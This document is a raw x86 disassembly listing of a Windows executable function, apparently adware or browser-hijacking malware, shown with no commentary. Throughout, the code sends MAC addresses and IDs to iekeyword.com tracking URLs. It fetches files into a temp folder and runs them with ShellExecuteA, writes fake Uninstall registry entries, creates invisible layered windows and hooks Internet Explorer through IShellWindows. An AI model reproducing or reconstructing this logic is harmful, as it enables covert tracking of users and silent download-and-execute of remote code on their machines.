lea ecx, [ebp - 0xe98]
push ecx
lea edx, [ebp - 0xa58]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0
push 1
push 0x426930
push 0x426934
push 0x430280
push 0x42693c
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x426948
lea eax, [ebp - 0x630]
push eax
push 0x430280
push 0x426954
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push str.Location
lea ecx, [ebp - 0x630]
push ecx
push 0x430280
push 0x42696c
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x426978
push 0x42697c
push 0x430280
push 0x426984
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0x4265f6
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push 1
push 0x426990
push 0x426994
push 0x430280
push 0x42699c
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x4269a8
push 0x4269ac
push 0x430280
push 0x4269b0
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0x4265f7
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push 1
push 0x4269bc
push 0x4269c0
push 0x430280
push 0x4269c4
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
lea edx, [ebp - 0x630]
push edx
lea eax, [ebp - 0xe98]
push eax
push 0x4269d0
push 0x4269d4
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
lea ecx, [ebp - 0x630]
push ecx
lea edx, [ebp - 0xe98]
push edx
push 0x426a00
push str.SoftwareMicrosoftWindowsCurrentVersion
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0x426a30
lea eax, [ebp - 0x1ab8]
push eax
call fcn.00415da0
add esp, 8
mov byte [ebp - 0x1ab4], 0
lea ecx, [ebp - 0x1ab8]
push ecx
push str.Windows_IEK__s_Uninstall
lea edx, [ebp - 0xa58]
push edx
call fcn.00416205
add esp, 0xc
lea eax, [ebp - 0xe98]
push eax
push str._s_uninstall
lea ecx, [ebp - 0x1bd0]
push ecx
call fcn.00416205
add esp, 0xc
push 0x4265fd
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push 1
push str.DisplayName
lea edx, [ebp - 0xa58]
push edx
lea eax, [ebp - 0x1ab8]
push eax
push 0x426a74
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push str.UninstallString
lea ecx, [ebp - 0x1bd0]
push ecx
lea edx, [ebp - 0x1ab8]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00401370
add esp, 0x1c
lea eax, [ebp - 0xe98]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402efa
cmp dword [ebp - 0x838], 1
jne 0x402efa
mov ecx, dword [ebp - 0xfac]
push ecx
push 0x430180
push 0x426aec
push 0x426af4
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_smac_slogdataMacTryCnt:_d
lea edx, [ebp - 0xa58]
push edx
call fcn.00416205
add esp, 0x18
push 0x4265fe
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x5c8], 0
jmp 0x402ebd
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x402efa
push 0x1e8480
push 0xf4240
push 1
lea ecx, [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0x180]
push edx
push 0
lea eax, [ebp - 0xa58]
push eax
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x402ef8
jmp 0x402efa
jmp 0x402eae
cmp dword [ebp - 0x838], 0
jne 0x402fa3
mov ecx, dword [ebp - 0xfac]
push ecx
push 0x430180
push 0x426b58
push 0x426b60
push 0x426b68
lea edx, [ebp - 0xa58]
push edx
call fcn.00416205
add esp, 0x18
push 0x4265ff
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x5c8], 0
jmp 0x402f59
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x402f96
push 0x1e8480
push 0xf4240
push 1
lea ecx, [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0x180]
push edx
push 0
lea eax, [ebp - 0xa58]
push eax
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x402f94
jmp 0x402f96
jmp 0x402f4a
push 0x42661a
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
jmp 0x40311f
push 0x64
lea ecx, [ebp - 0xa58]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426bd4
lea edx, [ebp - 0xa58]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
je 0x40305e
mov eax, dword [ebp - 0xfac]
push eax
push 0x430180
push 0x426be0
push 0x426be8
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee2mac_slogdataMacTryCnt:_d
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00416205
add esp, 0x18
mov dword [ebp - 0x5c8], 0
jmp 0x403021
mov edx, dword [ebp - 0x5c8]
add edx, 1
mov dword [ebp - 0x5c8], edx
cmp dword [ebp - 0x5c8], 1
jge 0x40305e
push 0x1e8480
push 0xf4240
push 1
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x180]
push ecx
push 0
lea edx, [ebp - 0xa58]
push edx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x40305c
jmp 0x40305e
jmp 0x403012
push 0x64
lea eax, [ebp - 0xa58]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426c5c
lea ecx, [ebp - 0xa58]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
je 0x40311f
push 0x104
lea edx, [ebp - 0xa58]
push edx
push str._Temp_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0x42661b
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x8ae
lea eax, [ebp - 0xa58]
push eax
push str._s_d
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00416205
add esp, 0x10
push 0x64
lea edx, [ebp - 0xa58]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426621
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0xe98]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [ebp - 0xe98]
push ecx
lea edx, [ebp - 0xa58]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
mov eax, 1
jmp 0x403edb
push 0x426622
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x430280
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x403156
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x403156
mov eax, 1
jmp 0x403edb
mov dword [ebp - 0xd8c], 0
push str.default
push 0x4302e8
call fcn.00415da0
add esp, 8
push 0x430280
push str.Software_s
lea eax, [ebp - 0xb70]
push eax
call fcn.00416205
add esp, 0xc
lea ecx, [ebp - 0xfb0]
push ecx
lea edx, [ebp - 0xb70]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0
jne 0x403214
mov dword [ebp - 0x520], 0x104
lea eax, [ebp - 0x520]
push eax
push 0x4302e8
lea ecx, [ebp - 0x51c]
push ecx
push 0
push str.code
mov edx, dword [ebp - 0xfb0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x520], 0x64
lea eax, [ebp - 0x520]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x51c]
push edx
push 0
push 0x426c94
mov eax, dword [ebp - 0xfb0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x178]
push edx
call fcn.00416960
add esp, 8
test eax, eax
je 0x403346
push 0x64
lea eax, [ebp - 0xa58]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426c98
lea ecx, [ebp - 0xa58]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
jne 0x403346
push 0x430180
push 0x426ca4
push 0x426cac
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typermac_s
lea edx, [ebp - 0xfa8]
push edx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x4032a1
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x4032de
push 0x1e8480
push 0xf4240
push 1
lea ecx, [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0xd8c]
push edx
push 0
lea eax, [ebp - 0xfa8]
push eax
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x4032dc
jmp 0x4032de
jmp 0x403292
push 0x426623
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push 1
push 0x426d08
lea ecx, [ebp - 0x178]
push ecx
push 0x430280
push 0x426d0c
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x426d18
lea edx, [ebp - 0x178]
push edx
push 0x430280
push 0x426d1c
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0x426626
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426627
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x64
lea eax, [ebp - 0xa58]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str.qfup.exe
lea ecx, [ebp - 0xa58]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
jne 0x403a02
push 0x426d34
push 0x4302e8
mov edx, dword [ebp - 0xfac]
push edx
push 0x430180
push 0x426d3c
push 0x426d44
push str.http:__app.iekeyword.com_app.asp_prj_spid_smac_slogdataMacTryCnt:_dcode_sver_s
lea eax, [ebp - 0xfa8]
push eax
call fcn.00416205
add esp, 0x20
push 0x42667e
lea ecx, [ebp - 0xc78]
push ecx
call fcn.00415da0
add esp, 8
mov dword [ebp - 0x5c8], 0
jmp 0x4033ea
mov edx, dword [ebp - 0x5c8]
add edx, 1
mov dword [ebp - 0x5c8], edx
cmp dword [ebp - 0x5c8], 3
jge 0x403427
push 0x1e8480
push 0xf4240
push 1
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xd8c]
push ecx
push 0
lea edx, [ebp - 0xfa8]
push edx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x403425
jmp 0x403427
jmp 0x4033db
mov dword [ebp - 0x1d4c], 0
cmp dword [ebp - 0x5c8], 3
jge 0x403a02
mov eax, dword [ebp - 0xd8c]
push eax
call fcn.00415920
add esp, 4
test eax, eax
jbe 0x403a02
push 0x426da4
mov ecx, dword [ebp - 0xd8c]
push ecx
call fcn.00416896
add esp, 8
mov dword [ebp - 0xe9c], eax
mov edx, dword [ebp - 0xe9c]
push edx
push 0x4302e8
call fcn.00416960
add esp, 8
test eax, eax
jne 0x4034a3
push 0x426da8
mov eax, dword [ebp - 0xe9c]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
jne 0x403a02
push 0x430180
push 0x426db0
push 0x426db8
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee6mac_s
lea ecx, [ebp - 0xfa8]
push ecx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x4034e1
mov edx, dword [ebp - 0x5c8]
add edx, 1
mov dword [ebp - 0x5c8], edx
cmp dword [ebp - 0x5c8], 3
jge 0x40351e
push 0x1e8480
push 0xf4240
push 1
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x180]
push ecx
push 0
lea edx, [ebp - 0xfa8]
push edx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x40351c
jmp 0x40351e
jmp 0x4034d2
push 0x42667f
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426e18
push 0
call fcn.00416896
add esp, 8
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0
je 0x403897
push 0x104
lea eax, [ebp - 0x950]
push eax
mov ecx, dword [ebp - 0x5b8]
push ecx
call fcn.004151b0
add esp, 0xc
call fcn.00416874
push eax
call fcn.00416874
push eax
call fcn.00416874
push eax
push str._d_d_d
lea edx, [ebp - 0x1fc8]
push edx
call fcn.00416205
add esp, 0x14
lea eax, [ebp - 0xd88]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea ecx, [ebp - 0x1fc8]
push ecx
lea edx, [ebp - 0xd88]
push edx
call fcn.00415db0
add esp, 8
lea eax, [ebp - 0xd88]
push eax
lea ecx, [ebp - 0x1ec0]
push ecx
call fcn.00415da0
add esp, 8
push 0
lea edx, [ebp - 0x1ec0]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x426e24
lea eax, [ebp - 0xd88]
push eax
call fcn.00415db0
add esp, 8
lea ecx, [ebp - 0x950]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
lea edx, [ebp - 0x1db8]
push edx
call fcn.00415da0
add esp, 8
lea eax, [ebp - 0x950]
push eax
call fcn.00415920
add esp, 4
mov esi, eax
lea ecx, [ebp - 0x1db8]
push ecx
call fcn.00415920
add esp, 4
sub esi, eax
mov byte [ebp + esi - 0x950], 0
mov edx, dword [ebp - 0x5b8]
push edx
call fcn.00415920
add esp, 4
mov esi, eax
lea eax, [ebp - 0x1db8]
push eax
call fcn.00415920
add esp, 4
sub esi, eax
mov ecx, dword [ebp - 0x5b8]
mov byte [ecx + esi], 0
lea edx, [ebp - 0x950]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
mov eax, dword [ebp - 0x5b8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
lea ecx, [ebp - 0x950]
push ecx
lea edx, [ebp - 0xd88]
push edx
call fcn.00415db0
add esp, 8
mov dword [ebp - 0x5c8], 0
jmp 0x4036ad
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jge 0x4036ea
push 0x1e8480
push 0xf4240
push 0
lea ecx, [ebp - 0x5c4]
push ecx
push 0
lea edx, [ebp - 0xd88]
push edx
mov eax, dword [ebp - 0x5b8]
push eax
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x4036e8
jmp 0x4036ea
jmp 0x40369e
push 0x42668a
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x5c8], 3
jl 0x4037a6
push 0x430180
push 0x426e28
push 0x426e30
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee7mac_s
lea ecx, [ebp - 0xfa8]
push ecx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x403742
mov edx, dword [ebp - 0x5c8]
add edx, 1
mov dword [ebp - 0x5c8], edx
cmp dword [ebp - 0x5c8], 3
jge 0x4037a1
push 0x1e8480
push 0xf4240
push 1
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xd8c]
push ecx
push 0
lea edx, [ebp - 0xfa8]
push edx
call fcn.004149c0
add esp, 0x1c
mov dword [ebp - 0x1fcc], eax
push 0xa
lea eax, [ebp - 0x2038]
push eax
mov ecx, dword [ebp - 0x1fcc]
push ecx
call fcn.0042467c
add esp, 0xc
cmp dword [ebp - 0x1fcc], 1
jne 0x40379f
jmp 0x4037a1
jmp 0x403733
jmp 0x403892
lea edx, [ebp - 0xd88]
push edx
call fcn.00401330
add esp, 4
cmp eax, 0x3c00
jle 0x403892
lea eax, [ebp - 0x1ec0]
push eax
lea ecx, [ebp - 0xfa8]
push ecx
call fcn.00415da0
add esp, 8
push 0x426e90
lea edx, [ebp - 0xfa8]
push edx
call fcn.00415db0
add esp, 8
lea eax, [ebp - 0x950]
push eax
lea ecx, [ebp - 0xfa8]
push ecx
call fcn.00415db0
add esp, 8
push 5
lea edx, [ebp - 0x1ec0]
push edx
lea eax, [ebp - 0x1db8]
push eax
lea ecx, [ebp - 0xfa8]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x203c], 0
jmp 0x40383f
mov edx, dword [ebp - 0x203c]
add edx, 1
mov dword [ebp - 0x203c], edx
cmp dword [ebp - 0x203c], 0x78
jge 0x403888
lea eax, [ebp - 0x1ec0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40385b
jmp 0x403888
lea ecx, [ebp - 0xfa8]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea edx, [ebp - 0x1ec0]
push edx
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
je 0x40387b
jmp 0x403888
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x403830
mov dword [ebp - 0x1d4c], 1
jmp 0x40352b
cmp dword [ebp - 0x1d4c], 0
je 0x403987
push 0x430180
push 0x426e9c
push 0x426ea4
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typelmac_s
lea eax, [ebp - 0xfa8]
push eax
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x4038e2
mov ecx, dword [ebp - 0x5c8]
add ecx, 1
mov dword [ebp - 0x5c8], ecx
cmp dword [ebp - 0x5c8], 1
jge 0x40391f
push 0x1e8480
push 0xf4240
push 1
lea edx, [ebp - 0x5c4]
push edx
lea eax, [ebp - 0xd8c]
push eax
push 0
lea ecx, [ebp - 0xfa8]
push ecx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x40391d
jmp 0x40391f
jmp 0x4038d3
push str.update
mov edx, dword [ebp - 0xe9c]
push edx
call fcn.00423afb
add esp, 8
test eax, eax
je 0x403985
push 0
push 1
push 0x426f08
mov eax, dword [ebp - 0xe9c]
push eax
push 0x430280
push 0x426f10
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push str.Code
mov ecx, dword [ebp - 0xe9c]
push ecx
push 0x430280
push 0x426f24
push SysReAllocString
call fcn.00401370
add esp, 0x1c
jmp 0x403a02
push 0x430180
push 0x426f30
push 0x426f38
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee8mac_s
lea edx, [ebp - 0xfa8]
push edx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x4039c5
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x403a02
push 0x1e8480
push 0xf4240
push 1
lea ecx, [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0xd8c]
push edx
push 0
lea eax, [ebp - 0xfa8]
push eax
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x403a00
jmp 0x403a02
jmp 0x4039b6
lea ecx, [ebp - 0x178]
push ecx
lea edx, [ebp - 0x5a4]
push edx
call fcn.00416960
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [0x43025c], eax
push 0x42668b
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x178]
push eax
lea ecx, [ebp - 0xfc0]
push ecx
call fcn.00416960
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [0x430258], eax
push 0xbb8
call fcn.0041580d
add esp, 4
mov dword [ebp - 0x2040], eax
mov edx, dword [ebp - 0x2040]
mov dword [ebp - 0xc80], edx
push 0x426695
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push str.1.0.0.6
push 0x4302e8
mov eax, dword [ebp - 0xfac]
push eax
push 0x430180
push str.jjh1
push 0x426fa8
push str.http:__iekeyword.com_app__prj_spid_smac_slogdataMacTryCnt:_dcode_sver_s
mov ecx, dword [ebp - 0xc80]
push ecx
call fcn.00416205
add esp, 0x20
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5ac], 0x12
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x5a8], 0x12
push 0x44
call fcn.004166e4
add esp, 4
mov dword [ebp - 0x2048], eax
cmp dword [ebp - 0x2048], 0
je 0x403b05
mov ecx, dword [ebp - 0x2048]
call fcn.00405b20
mov dword [ebp - 0x2074], eax
jmp 0x403b0f
mov dword [ebp - 0x2074], 0
mov edx, dword [ebp - 0x2074]
mov dword [ebp - 0x2044], edx
mov eax, dword [ebp - 0x2044]
mov dword [0x4301e4], eax
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x204c], esp
push 0
call fcn.0040b800
push 0
push 0x84000000
push 0
lea ecx, [ebp - 0x5b4]
push ecx
lea ecx, [ebp - 0x2050]
call fcn.0040b800
mov edx, dword [eax]
push edx
push 0
mov ecx, dword [0x4301e4]
call fcn.00406370
push 0x426696
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x80088
push 0xffffffffffffffec
mov eax, dword [0x4301e4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 2
push 0
push 0
mov edx, dword [0x4301e4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push pe_nt_image_headers32
push 0x14
push 0x32
push 0
push 0
push 0
mov ecx, dword [0x4301e4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5ac], 0x190
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0x5a8], 0x190
push 0x3c
call fcn.004166e4
add esp, 4
mov dword [ebp - 0x2058], eax
cmp dword [ebp - 0x2058], 0
je 0x403c0c
mov ecx, dword [ebp - 0x2058]
call fcn.00405ef0
mov dword [ebp - 0x2078], eax
jmp 0x403c16
mov dword [ebp - 0x2078], 0
mov eax, dword [ebp - 0x2078]
mov dword [ebp - 0x2054], eax
mov ecx, dword [ebp - 0x2054]
mov dword [0x4301e8], ecx
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x205c], esp
push 0
call fcn.0040b800
push 0
push 0x84a00000
push 0
lea edx, [ebp - 0x5b4]
push edx
lea ecx, [ebp - 0x2060]
call fcn.0040b800
mov eax, dword [eax]
push eax
push 0
mov ecx, dword [0x4301e8]
call fcn.00406450
mov ecx, dword [ebp - 0xc80]
mov dword [ebp - 0x10cc], ecx
cmp dword [ebp - 0x10cc], 0
jne 0x403c8c
mov dword [ebp - 0x207c], 0
jmp 0x403d00
mov edx, dword [ebp - 0x10cc]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 1
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0x3fffffff
jle 0x403cba
mov dword [ebp - 0x2080], 0
jmp 0x403cf4
mov eax, dword [ebp - 0x598]
shl eax, 1
call fcn.00416a20
mov dword [ebp - 0x2084], esp
mov eax, dword [ebp - 0xfb4]
push eax
mov ecx, dword [ebp - 0x598]
push ecx
mov edx, dword [ebp - 0x10cc]
push edx
mov eax, dword [ebp - 0x2084]
push eax
call fcn.00405ad0
mov dword [ebp - 0x2080], eax
mov ecx, dword [ebp - 0x2080]
mov dword [ebp - 0x207c], ecx
push 0
push 0
mov edx, dword [ebp - 0x207c]
push edx
mov ecx, dword [0x4301e8]
add ecx, 4
call fcn.004060e0
mov eax, dword [0x4301e8]
add eax, 0x24
push eax
push 0x427d7c
mov ecx, dword [0x4301e8]
add ecx, 4
call fcn.00406110
push 0x430260
call fcn.004166be
add esp, 4
mov ecx, dword [0x4301e8]
mov dword [ecx + 0x28], eax
push 0x80088
push 0xffffffffffffffec
mov edx, dword [0x4301e8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 2
push 0xff
push 0
mov ecx, dword [0x4301e8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0x30
call fcn.004166e4
add esp, 4
mov dword [ebp - 0x2068], eax
cmp dword [ebp - 0x2068], 0
je 0x403da7
mov ecx, dword [ebp - 0x2068]
call fcn.00405fd0
mov dword [ebp - 0x2088], eax
jmp 0x403db1
mov dword [ebp - 0x2088], 0
mov eax, dword [ebp - 0x2088]
mov dword [ebp - 0x2064], eax
mov ecx, dword [ebp - 0x2064]
mov dword [0x4302e4], ecx
mov edx, dword [0x4301e8]
mov eax, dword [edx + 0x24]
push eax
mov ecx, dword [0x4302e4]
call fcn.00407030
mov ecx, dword [0x4301e8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x206c], eax
mov ecx, dword [ebp - 0x206c]
push ecx
call fcn.0041590c
add esp, 4
push 0x4301ec
push 0x427d9c
push 0x17
push 0
push 0x427dac
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x814], eax
push 0x426697
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x814], 0
je 0x403e66
push 0
push str.error
push str.IID_IShellWindows
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x4266a1
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov eax, 1
jmp 0x403edb
push 0
push 0
push 0x4040c0
call fcn.004165ef
add esp, 0xc
mov edx, 1
test edx, edx
je 0x403ed6
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x403ec2
lea ecx, [ebp - 0x834]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x4266a2
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea edx, [ebp - 0x834]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x403ed4
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00404670
call fcn.004041c0
jmp 0x403e77
mov eax, 1
lea esp, [ebp - 0x208c]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d91
mov esp, ebp
pop ebp
ret 0x10